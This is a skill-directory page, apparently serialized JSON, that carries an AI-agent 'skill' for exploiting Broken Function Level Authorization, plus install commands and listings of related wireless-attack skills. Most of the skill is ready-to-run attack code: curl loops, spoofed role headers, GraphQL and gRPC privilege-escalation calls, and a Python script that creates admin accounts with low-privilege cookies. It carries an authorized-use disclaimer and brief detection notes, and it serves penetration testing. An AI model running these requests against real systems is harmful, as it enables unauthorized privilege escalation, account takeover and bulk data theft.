[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFMMS9QC0GGH7MEQJMZRQV":3,"skill-same:01M7DFMMS9QC0GGH7MEQJMZRQV":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFMMS9QC0GGH7MEQJMZRQV","bfla",null,"Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin\u002Fstaff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fbfla\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: bfla\ndescription: \"Broken Function Level Authorization (BFLA) — exploit action-level access control failures where lower-privileged principals invoke admin\u002Fstaff functions across REST, GraphQL, gRPC, WebSocket, and background job paths.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: authorization\n  when_to_use: \"BFLA, broken function level authorization, function level access control, admin endpoint bypass, privilege escalation, admin api, method override, role bypass, action-level authorization, unauthorized action, admin function, GraphQL mutation privilege, gRPC method bypass, batch job auth, actor action matrix\"\n  tags: web-application, authorization, privilege-escalation, api, owasp-api5\n  mitre_attack: T1190, T1078.001, T1548\n---\n\n# Broken Function Level Authorization (BFLA)\n\nBFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the *action itself*, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway.\n\n**Authorized use only.** Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions.\n\n## Attack Surface\n\n- REST\u002FJSON admin endpoints hidden from the UI but still live on the server\n- GraphQL mutations and admin fields absent from the published schema but introspectable\n- gRPC methods listed via server reflection that bypass gateway checks\n- WebSocket events where only the handshake was authorized\n- Background job create\u002Ffinalize\u002Fapprove endpoints that re-use session but skip role checks\n- Internal microservice RPCs reachable via SSRF or exposed routing\n- Feature flags enforced client-side \u002F at edge but not at the core service\n\n## High-Value Actions\n\n- Role\u002Fpermission assignment, user impersonation, sudo\u002Fsu endpoints\n- Refund, credit issuance, price override, order void\u002Fcancel\n- Export\u002Fbulk-download of all user data or PII\n- Account suspension, deletion, reactivation, verification override\n- Feature flag toggle, quota\u002Fgrant adjustment, seat\u002Flicense change\n- 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts\n- Admin console CRUD (create user, delete user, assign group)\n\n## Reconnaissance\n\n### Build the Actor x Action Matrix\n\nBefore fuzzing, enumerate the roles and their expected actions:\n\n```bash\n# Capture all endpoints from JS bundles, API spec, and crawl\n# Extract role-specific API paths from the frontend\ncurl -s https:\u002F\u002F\u003CTARGET>\u002Fstatic\u002Fmain.js | grep -oE '\"\u002Fapi\u002F[^\"]*\"' | sort -u\ncurl -s https:\u002F\u002F\u003CTARGET>\u002Fopenapi.json 2>\u002Fdev\u002Fnull | python3 -c \"\nimport sys,json\nspec = json.load(sys.stdin)\nfor path,methods in spec.get('paths',{}).items():\n    for method,info in methods.items():\n        tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[])\n        print(method.upper(), path, tags)\n\" 2>\u002Fdev\u002Fnull\n```\n\nFor each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users.\n\n### Obtain Sessions for Each Role\n\n```bash\n# Register\u002Fobtain sessions for: unauthenticated, basic user, premium, staff, admin\n# Store cookies\u002Ftokens for each role\ncurl -s -c unauthenticated.jar https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fme\ncurl -s -c basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Flogin -d 'user=basic&pass=\u003Cpass>'\ncurl -s -c admin.jar  -X POST https:\u002F\u002F\u003CTARGET>\u002Flogin -d 'user=admin&pass=\u003Cpass>'\n```\n\n### Signals That BFLA Is Present\n\n- Endpoint returns 200 for a lower-role token where 403\u002F401 is expected\n- Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not)\n- Admin endpoints return a different error code (404 vs 403) — \"security through obscurity\" that still processes the request\n- Background job endpoints return 200 with a task ID even for non-admin callers\n- GraphQL mutation returns data when sent from a basic-user token\n\n## Testing Methodology\n\n### Step 1: Baseline with Admin Token\n\nConfirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone.\n\n```bash\n# Example: create a user as admin\ncurl -s -b admin.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"testuser\",\"role\":\"admin\"}' | tee bfla_admin_baseline.txt\n```\n\n### Step 2: Replay with Lower-Privilege Token\n\nReplay the identical request with the basic-user or unauthenticated token. Same path, same method, same body.\n\n```bash\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"testuser2\",\"role\":\"admin\"}' | tee bfla_basic_replay.txt\n\n# Diff: admin got 201 Created, basic should get 403\ndiff bfla_admin_baseline.txt bfla_basic_replay.txt\n```\n\n**Win condition:** basic-user request returns 200\u002F201\u002F204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201.\n\n### Step 3: Method Alternation\n\nMany frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT\u002FPATCH\u002FDELETE.\n\n```bash\nfor method in GET POST PUT PATCH DELETE OPTIONS HEAD; do\n  echo -n \"$method: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" -b basic.jar \\\n    -X \"$method\" https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers\u002F1 \\\n    -H 'Content-Type: application\u002Fjson' \\\n    -d '{\"role\":\"admin\"}'\n  echo\ndone\n```\n\nLook for: method returning 200\u002F204 where others return 403. Also try `X-HTTP-Method-Override: DELETE` on a POST request.\n\n### Step 4: Transport \u002F Encoding Alternation\n\n```bash\n# JSON vs form-encoded (different middleware chains in some frameworks)\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fpromote \\\n  -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  -d 'user_id=2&role=admin'\n\n# Try path with\u002Fwithout trailing slash (different route matches in some routers)\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers\u002F\n```\n\n### Step 5: GraphQL Mutations\n\n```bash\n# Attempt admin mutation with a basic-user token\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fgraphql \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\n    \"query\": \"mutation { updateUser(id: 2, role: ADMIN) { id role } }\"\n  }' | tee bfla_graphql.txt\n\n# Use aliases to batch privileged mutations and observe which succeed\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fgraphql \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\n    \"query\": \"mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }\"\n  }'\n```\n\n### Step 6: Background Jobs and Webhooks\n\nJob-create endpoints are often allowed for all users; finalize\u002Fapprove are not guarded independently:\n\n```bash\n# Create job as basic user (allowed)\nJOB_ID=$(curl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fexport \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"type\":\"all_users\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['job_id'])\")\n\n# Finalize\u002Fapprove job as basic user (should be 403)\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fexport\u002F$JOB_ID\u002Fapprove \\\n  | tee bfla_job_approve.txt\n```\n\n### Step 7: Header Trust Bypass\n\nSome backends trust identity headers injected by a gateway\u002Fproxy. Supply conflicting headers:\n\n```bash\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers \\\n  -H 'X-User-Role: admin' \\\n  -H 'X-Forwarded-User: admin' \\\n  -H 'X-Auth-Role: staff' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"pwned\",\"role\":\"admin\"}'\n```\n\n## Verification\n\nA confirmed BFLA finding requires:\n\n1. **Baseline contrast:** admin token → 200\u002F201; basic token → 200\u002F201 (should be 403)\n2. **Durable state change:** subsequent GET or audit log confirms the privileged action persisted\n3. **Minimal repro:** single request that demonstrates the bypass (no intermediary steps)\n\n```python\nimport requests\n\nTARGET = \"https:\u002F\u002F\u003CTARGET>\"\nBASIC = {\"session\": \"\u003Cbasic_session_cookie>\"}\nADMIN = {\"session\": \"\u003Cadmin_session_cookie>\"}\n\n# Baseline: admin can promote\nr_admin = requests.post(f\"{TARGET}\u002Fapi\u002Fadmin\u002Fusers\", cookies=ADMIN,\n                        json={\"username\": \"probe\", \"role\": \"admin\"}, timeout=5)\nassert r_admin.status_code in (200, 201), f\"Admin baseline failed: {r_admin.status_code}\"\n\n# BFLA: basic can too?\nr_basic = requests.post(f\"{TARGET}\u002Fapi\u002Fadmin\u002Fusers\", cookies=BASIC,\n                        json={\"username\": \"bfla_probe\", \"role\": \"admin\"}, timeout=5)\nprint(f\"BFLA result: {r_basic.status_code} {r_basic.text[:200]}\")\n\n# Confirm durable state\nme = requests.get(f\"{TARGET}\u002Fapi\u002Fusers\u002Fbfla_probe\", cookies=BASIC, timeout=5).json()\nprint(f\"Role in DB: {me.get('role')}\")  # should be 'admin' if BFLA succeeded\n```\n\n## gRPC-Specific Testing\n\n```bash\n# List methods via server reflection\ngrpc_cli ls \u003CTARGET>:443 --l  # requires grpc_cli\n\n# Call admin method with basic-user token\ngrpcurl -H \"Authorization: Bearer \u003Cbasic_token>\" \\\n  -d '{\"user_id\": 2, \"role\": \"ADMIN\"}' \\\n  \u003CTARGET>:443 com.example.AdminService\u002FPromoteUser\n```\n\n## Common Framework Weaknesses\n\n| Framework | Pattern | Gap |\n|-----------|---------|-----|\n| Express\u002FNode | `router.post('\u002Fadmin', adminMiddleware)` missing on `router.put` | Method alternation bypass |\n| Django DRF | `permission_classes = [IsAdmin]` set at ViewSet but missing on action-level `@action` | Custom action without permission decorator |\n| Spring Security | `antMatchers(\"\u002Fadmin\u002F**\").hasRole(\"ADMIN\")` but `\u002Fadmin` (no slash) not matched | Trailing-slash bypass |\n| FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller |\n| GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass |\n\n## ATT&CK Mapping\n\n- T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint)\n- T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation)\n- T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint)\n\n## Detection Notes\n\nDefenders should look for: a non-admin session token successfully invoking `\u002Fadmin\u002F` or `\u002Fstaff\u002F` paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields.\n\n## Output Files\n\n```\n.\u002F\n├── bfla_admin_baseline.txt        # Proof admin action succeeds\n├── bfla_basic_replay.txt          # Proof basic-user bypass succeeds\n├── bfla_\u003Cendpoint>_evidence.txt   # Durable state-change proof (GET after write)\n└── bfla_summary.md                # Matrix of tested actions, methods, transports, results\n```\n","# Broken Function Level Authorization (BFLA)\n\nBFLA is an action-level access control failure: a lower-privileged principal successfully invokes a function (HTTP endpoint, GraphQL mutation, gRPC method, WebSocket event, background job action) that should be restricted to a higher-privileged role. It is distinct from IDOR (T1190 object-level) — the surface here is the *action itself*, not the object ID. Enforcement must bind actor to action at every transport layer and every service boundary, not just at the UI or API gateway.\n\n**Authorized use only.** Only test systems you are explicitly authorized to assess. Privilege escalation in production without authorization is a crime in most jurisdictions.\n\n## Attack Surface\n\n- REST\u002FJSON admin endpoints hidden from the UI but still live on the server\n- GraphQL mutations and admin fields absent from the published schema but introspectable\n- gRPC methods listed via server reflection that bypass gateway checks\n- WebSocket events where only the handshake was authorized\n- Background job create\u002Ffinalize\u002Fapprove endpoints that re-use session but skip role checks\n- Internal microservice RPCs reachable via SSRF or exposed routing\n- Feature flags enforced client-side \u002F at edge but not at the core service\n\n## High-Value Actions\n\n- Role\u002Fpermission assignment, user impersonation, sudo\u002Fsu endpoints\n- Refund, credit issuance, price override, order void\u002Fcancel\n- Export\u002Fbulk-download of all user data or PII\n- Account suspension, deletion, reactivation, verification override\n- Feature flag toggle, quota\u002Fgrant adjustment, seat\u002Flicense change\n- 2FA reset, email-change bypass, password-reset initiation for arbitrary accounts\n- Admin console CRUD (create user, delete user, assign group)\n\n## Reconnaissance\n\n### Build the Actor x Action Matrix\n\nBefore fuzzing, enumerate the roles and their expected actions:\n\n```bash\n# Capture all endpoints from JS bundles, API spec, and crawl\n# Extract role-specific API paths from the frontend\ncurl -s https:\u002F\u002F\u003CTARGET>\u002Fstatic\u002Fmain.js | grep -oE '\"\u002Fapi\u002F[^\"]*\"' | sort -u\ncurl -s https:\u002F\u002F\u003CTARGET>\u002Fopenapi.json 2>\u002Fdev\u002Fnull | python3 -c \"\nimport sys,json\nspec = json.load(sys.stdin)\nfor path,methods in spec.get('paths',{}).items():\n    for method,info in methods.items():\n        tags = info.get('tags',[]) + info.get('x-roles',[]) + info.get('security',[])\n        print(method.upper(), path, tags)\n\" 2>\u002Fdev\u002Fnull\n```\n\nFor each discovered endpoint, note: HTTP method, expected minimum role, whether it appears in the UI for non-admin users.\n\n### Obtain Sessions for Each Role\n\n```bash\n# Register\u002Fobtain sessions for: unauthenticated, basic user, premium, staff, admin\n# Store cookies\u002Ftokens for each role\ncurl -s -c unauthenticated.jar https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fme\ncurl -s -c basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Flogin -d 'user=basic&pass=\u003Cpass>'\ncurl -s -c admin.jar  -X POST https:\u002F\u002F\u003CTARGET>\u002Flogin -d 'user=admin&pass=\u003Cpass>'\n```\n\n### Signals That BFLA Is Present\n\n- Endpoint returns 200 for a lower-role token where 403\u002F401 is expected\n- Different HTTP methods on the same path have inconsistent enforcement (GET allowed, POST blocked — but PATCH is not)\n- Admin endpoints return a different error code (404 vs 403) — \"security through obscurity\" that still processes the request\n- Background job endpoints return 200 with a task ID even for non-admin callers\n- GraphQL mutation returns data when sent from a basic-user token\n\n## Testing Methodology\n\n### Step 1: Baseline with Admin Token\n\nConfirm each target action succeeds with the highest-privilege token first. This rules out the action being broken for everyone.\n\n```bash\n# Example: create a user as admin\ncurl -s -b admin.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"testuser\",\"role\":\"admin\"}' | tee bfla_admin_baseline.txt\n```\n\n### Step 2: Replay with Lower-Privilege Token\n\nReplay the identical request with the basic-user or unauthenticated token. Same path, same method, same body.\n\n```bash\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"testuser2\",\"role\":\"admin\"}' | tee bfla_basic_replay.txt\n\n# Diff: admin got 201 Created, basic should get 403\ndiff bfla_admin_baseline.txt bfla_basic_replay.txt\n```\n\n**Win condition:** basic-user request returns 200\u002F201\u002F204 (or produces a durable state change verified by subsequent GET) when the admin baseline returned 201.\n\n### Step 3: Method Alternation\n\nMany frameworks register route handlers per-method independently. An admin-only POST may have an unguarded PUT\u002FPATCH\u002FDELETE.\n\n```bash\nfor method in GET POST PUT PATCH DELETE OPTIONS HEAD; do\n  echo -n \"$method: \"\n  curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" -b basic.jar \\\n    -X \"$method\" https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers\u002F1 \\\n    -H 'Content-Type: application\u002Fjson' \\\n    -d '{\"role\":\"admin\"}'\n  echo\ndone\n```\n\nLook for: method returning 200\u002F204 where others return 403. Also try `X-HTTP-Method-Override: DELETE` on a POST request.\n\n### Step 4: Transport \u002F Encoding Alternation\n\n```bash\n# JSON vs form-encoded (different middleware chains in some frameworks)\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fpromote \\\n  -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  -d 'user_id=2&role=admin'\n\n# Try path with\u002Fwithout trailing slash (different route matches in some routers)\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers\u002F\n```\n\n### Step 5: GraphQL Mutations\n\n```bash\n# Attempt admin mutation with a basic-user token\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fgraphql \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\n    \"query\": \"mutation { updateUser(id: 2, role: ADMIN) { id role } }\"\n  }' | tee bfla_graphql.txt\n\n# Use aliases to batch privileged mutations and observe which succeed\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fgraphql \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\n    \"query\": \"mutation { a: deleteUser(id: 3) { id } b: promoteUser(id: 2, role: ADMIN) { id role } }\"\n  }'\n```\n\n### Step 6: Background Jobs and Webhooks\n\nJob-create endpoints are often allowed for all users; finalize\u002Fapprove are not guarded independently:\n\n```bash\n# Create job as basic user (allowed)\nJOB_ID=$(curl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fexport \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"type\":\"all_users\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['job_id'])\")\n\n# Finalize\u002Fapprove job as basic user (should be 403)\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fexport\u002F$JOB_ID\u002Fapprove \\\n  | tee bfla_job_approve.txt\n```\n\n### Step 7: Header Trust Bypass\n\nSome backends trust identity headers injected by a gateway\u002Fproxy. Supply conflicting headers:\n\n```bash\ncurl -s -b basic.jar -X POST https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fadmin\u002Fusers \\\n  -H 'X-User-Role: admin' \\\n  -H 'X-Forwarded-User: admin' \\\n  -H 'X-Auth-Role: staff' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"pwned\",\"role\":\"admin\"}'\n```\n\n## Verification\n\nA confirmed BFLA finding requires:\n\n1. **Baseline contrast:** admin token → 200\u002F201; basic token → 200\u002F201 (should be 403)\n2. **Durable state change:** subsequent GET or audit log confirms the privileged action persisted\n3. **Minimal repro:** single request that demonstrates the bypass (no intermediary steps)\n\n```python\nimport requests\n\nTARGET = \"https:\u002F\u002F\u003CTARGET>\"\nBASIC = {\"session\": \"\u003Cbasic_session_cookie>\"}\nADMIN = {\"session\": \"\u003Cadmin_session_cookie>\"}\n\n# Baseline: admin can promote\nr_admin = requests.post(f\"{TARGET}\u002Fapi\u002Fadmin\u002Fusers\", cookies=ADMIN,\n                        json={\"username\": \"probe\", \"role\": \"admin\"}, timeout=5)\nassert r_admin.status_code in (200, 201), f\"Admin baseline failed: {r_admin.status_code}\"\n\n# BFLA: basic can too?\nr_basic = requests.post(f\"{TARGET}\u002Fapi\u002Fadmin\u002Fusers\", cookies=BASIC,\n                        json={\"username\": \"bfla_probe\", \"role\": \"admin\"}, timeout=5)\nprint(f\"BFLA result: {r_basic.status_code} {r_basic.text[:200]}\")\n\n# Confirm durable state\nme = requests.get(f\"{TARGET}\u002Fapi\u002Fusers\u002Fbfla_probe\", cookies=BASIC, timeout=5).json()\nprint(f\"Role in DB: {me.get('role')}\")  # should be 'admin' if BFLA succeeded\n```\n\n## gRPC-Specific Testing\n\n```bash\n# List methods via server reflection\ngrpc_cli ls \u003CTARGET>:443 --l  # requires grpc_cli\n\n# Call admin method with basic-user token\ngrpcurl -H \"Authorization: Bearer \u003Cbasic_token>\" \\\n  -d '{\"user_id\": 2, \"role\": \"ADMIN\"}' \\\n  \u003CTARGET>:443 com.example.AdminService\u002FPromoteUser\n```\n\n## Common Framework Weaknesses\n\n| Framework | Pattern | Gap |\n|-----------|---------|-----|\n| Express\u002FNode | `router.post('\u002Fadmin', adminMiddleware)` missing on `router.put` | Method alternation bypass |\n| Django DRF | `permission_classes = [IsAdmin]` set at ViewSet but missing on action-level `@action` | Custom action without permission decorator |\n| Spring Security | `antMatchers(\"\u002Fadmin\u002F**\").hasRole(\"ADMIN\")` but `\u002Fadmin` (no slash) not matched | Trailing-slash bypass |\n| FastAPI | Dependency injection on route but not on background task handler | Background task runs with no caller |\n| GraphQL (generic) | Top-level query auth but resolver-level checks absent | Nested mutation bypass |\n\n## ATT&CK Mapping\n\n- T1190 — Exploit Public-Facing Application (initial access via unguarded admin endpoint)\n- T1078.001 — Valid Accounts: Default Accounts (when function-level bypass yields admin account creation)\n- T1548 — Abuse Elevation Control Mechanism (privilege escalation via unguarded elevation endpoint)\n\n## Detection Notes\n\nDefenders should look for: a non-admin session token successfully invoking `\u002Fadmin\u002F` or `\u002Fstaff\u002F` paths (log the 200 response code alongside the token's role claim), unexpected role changes in audit logs, and GraphQL mutations from non-staff tokens that modify privileged fields.\n\n## Output Files\n\n```\n.\u002F\n├── bfla_admin_baseline.txt        # Proof admin action succeeds\n├── bfla_basic_replay.txt          # Proof basic-user bypass succeeds\n├── bfla_\u003Cendpoint>_evidence.txt   # Durable state-change proof (GET after write)\n└── bfla_summary.md                # Matrix of tested actions, methods, transports, results\n```\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, authorization, privilege-escalation, api, owasp-api5","authorization","BFLA, broken function level authorization, function level access control, admin endpoint bypass, privilege escalation, admin api, method override, role bypass, action-level authorization, unauthorized action, admin function, GraphQL mutation privilege, gRPC method bypass, batch job auth, actor action matrix","T1190, T1078.001, T1548","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fbfla","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill bfla",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill bfla",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill bfla","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fweb\u002Fbfla\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]